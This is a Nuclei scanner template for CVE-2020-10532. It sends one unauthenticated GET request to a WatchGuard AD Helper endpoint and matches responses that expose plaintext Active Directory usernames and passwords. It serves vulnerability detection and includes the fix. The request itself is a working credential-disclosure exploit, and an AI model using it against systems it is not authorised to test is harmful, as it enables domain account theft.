id: CVE-2020-10532

info:
  name: WatchGuard Fireware AD Helper Component - Credentials Disclosure
  author: gy741
  severity: critical
  description: WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.
  impact: |
    Remote attackers can retrieve cleartext passwords, leading to potential account compromise and further system exploitation.
  remediation: |
    Update to version 5.8.5.10317 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10532
    - https://www.exploit-db.com/exploits/48203
    - https://www.watchguard.com/wgrd-blog/tdr-ad-helper-credential-disclosure-vulnerability
  classification:
    cve-id: CVE-2020-10532
    epss-score: 0.00317
    epss-percentile: 0.5492
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-288
  metadata:
    max-request: 1
  tags: cve,cve2020,watchguard,disclosure,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fullyQualifiedName"'
          - '"logonDomain"'
          - '"username"'
          - '"password"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100aa29586e584e0289c4e6b340ca163c4da8f79ac620d5f360c6076b2b204bd576022100ea56d101b281c437f726b0230dda78160fd91218200499b728d7c6af68109ab1:922c64590222798bb761d5b6d8e72950